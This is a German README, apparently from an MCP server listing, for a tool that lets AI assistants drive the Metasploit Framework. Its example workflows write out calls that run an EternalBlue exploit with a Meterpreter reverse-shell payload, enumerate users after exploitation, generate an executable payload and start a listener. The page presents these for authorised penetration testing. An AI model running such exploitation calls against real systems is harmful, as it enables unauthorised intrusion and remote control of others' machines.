Metasploit MCP-Server
Ein Model Context Protocol (MCP)-Server für die Metasploit Framework-Integration.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
Beschreibung
Dieser MCP-Server bildet eine Brücke zwischen großen Sprachmodellen wie Claude und der Penetrationstestplattform Metasploit Framework. Er ermöglicht KI-Assistenten den dynamischen Zugriff und die Steuerung von Metasploit-Funktionen über standardisierte Tools und ermöglicht so eine natürlichsprachliche Schnittstelle zu komplexen Sicherheitstest-Workflows.
Merkmale
Modulinformationen
- list_exploits : Suchen und Auflisten verfügbarer Metasploit-Exploit-Module
- list_payloads : Suchen und Auflisten verfügbarer Metasploit-Payload-Module mit optionaler Plattform- und Architekturfilterung
Ausnutzungs-Workflow
- run_exploit : Konfigurieren und Ausführen eines Exploits gegen ein Ziel mit der Option, zuerst Prüfungen durchzuführen
- run_auxiliary_module : Führen Sie ein beliebiges Metasploit-Hilfsmodul mit benutzerdefinierten Optionen aus
- run_post_module : Führen Sie Post-Exploitation-Module für vorhandene Sitzungen aus
Payload-Generierung
- generate_payload : Generiert Payload-Dateien mit Metasploit RPC (speichert Dateien lokal)
Sitzungsverwaltung
- list_active_sessions : Zeigt aktuelle Metasploit-Sitzungen mit detaillierten Informationen an
- send_session_command : Führen Sie einen Befehl in einer aktiven Shell oder Meterpreter-Sitzung aus
- terminate_session : Beenden Sie eine aktive Sitzung zwangsweise
Handler-Verwaltung
- list_listeners : Alle aktiven Handler und Hintergrundjobs anzeigen
- start_listener : Erstellen Sie einen neuen Multi/Handler zum Empfangen von Verbindungen
- stop_job : Beenden Sie alle laufenden Jobs oder Handler
Voraussetzungen
- Metasploit Framework installiert und msfrpcd ausgeführt
- Python 3.10 oder höher
- Erforderliche Python-Pakete (siehe requirements.txt)
Installation
- Dieses Repository klonen
- Installieren Sie Abhängigkeiten:
- Umgebungsvariablen konfigurieren (optional):
Verwendung
Starten Sie den Metasploit RPC-Dienst:
Transportmöglichkeiten
Der Server unterstützt zwei Transportmethoden:
- HTTP/SSE (Server-Sent Events) : Standardmodus für die Interoperabilität mit den meisten MCP-Clients
- STDIO (Standard Input/Output) : Wird mit Claude Desktop und ähnlichen direkten Pipe-Verbindungen verwendet
Sie können den Transportmodus explizit mit dem Flag --transport
auswählen:
Zusätzliche Optionen für den HTTP-Modus:
Claude Desktop Integration
Konfigurieren Sie für die Claude Desktop-Integration claude_desktop_config.json
:
Andere MCP-Clients
Für andere MCP-Clients, die HTTP/SSE verwenden:
- Starten Sie den Server im HTTP-Modus:
- Konfigurieren Sie Ihren MCP-Client für die Verbindung mit:
- SSE-Endpunkt:
http://your-server-ip:8085/sse
- SSE-Endpunkt:
Sicherheitsüberlegungen
⚠️ WICHTIGER SICHERHEITSHINWEIS :
Dieses Tool bietet direkten Zugriff auf die Funktionen des Metasploit Frameworks, einschließlich leistungsstarker Exploit-Funktionen. Verwenden Sie es verantwortungsbewusst und nur in Umgebungen, in denen Sie die ausdrückliche Berechtigung zur Durchführung von Sicherheitstests haben.
- Überprüfen Sie alle Befehle vor der Ausführung.
- Nur in getrennten Testumgebungen oder mit entsprechender Autorisierung ausführen
- Beachten Sie, dass Post-Exploitation-Befehle zu erheblichen Systemänderungen führen können
Beispiel-Workflows
Grundlegende Ausbeutung
- Liste der verfügbaren Exploits:
list_exploits("ms17_010")
- Wählen Sie einen Exploit aus und führen Sie ihn aus:
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
- Sitzungen auflisten:
list_active_sessions()
- Befehle ausführen:
send_session_command(1, "whoami")
Nach der Ausbeutung
- Führen Sie ein Postmodul aus:
run_post_module("windows/gather/enum_logged_on_users", 1)
- Senden Sie benutzerdefinierte Befehle:
send_session_command(1, "sysinfo")
- Beenden, wenn fertig:
terminate_session(1)
Handler-Verwaltung
- Starten Sie einen Listener:
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
- Aktive Handler auflisten:
list_listeners()
- Generieren Sie eine Nutzlast:
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
- Stoppen Sie einen Handler:
stop_job(1)
Konfigurationsoptionen
Payload-Speicherverzeichnis
Standardmäßig werden mit generate_payload
generierte Payloads in einem payloads
-Verzeichnis in Ihrem Home-Ordner ( ~/payloads
oder C:\Users\YourUsername\payloads
) gespeichert. Sie können diesen Speicherort anpassen, indem Sie die Umgebungsvariable PAYLOAD_SAVE_DIR
festlegen.
Festlegen der Umgebungsvariable:
- Windows (PowerShell) :
- Windows (Eingabeaufforderung) :
- Linux/macOS :
- In der Claude Desktop-Konfiguration :
Hinweis: Wenn Sie einen benutzerdefinierten Pfad angeben, stellen Sie sicher, dass dieser vorhanden ist oder die Anwendung über die Berechtigung zum Erstellen verfügt. Bei einem ungültigen Pfad kann die Payload-Generierung fehlschlagen.
Lizenz
Apache 2.0
This server cannot be installed
hybrid server
The server is able to function both locally and remotely, depending on the configuration or use case.
Stellt eine Brücke zwischen großen Sprachmodellen und dem Metasploit Framework her und ermöglicht KI-Assistenten den Zugriff auf Penetrationstestfunktionen und deren Steuerung über natürliche Sprache.
Related MCP Servers
- -securityFlicense-qualityA demonstration server that allows large language models to perform penetration testing tasks autonomously by interfacing with the Mythic C2 framework.Last updated -11Python
- -securityFlicense-qualityEnables AI assistants to interact with Metabase, providing access to dashboards, questions, databases, and tools for executing queries and viewing data through natural language.Last updated -JavaScript
- AsecurityFlicenseAqualityA Model Context Protocol server that allows AI assistants to execute and manage JMeter performance tests through natural language commands.Last updated -210Python
- -security-license-qualityA module that enables AI assistants to access and utilize common penetration testing and security tools like Nmap and Metasploit through a simple interface.Last updated -PythonGPL 3.0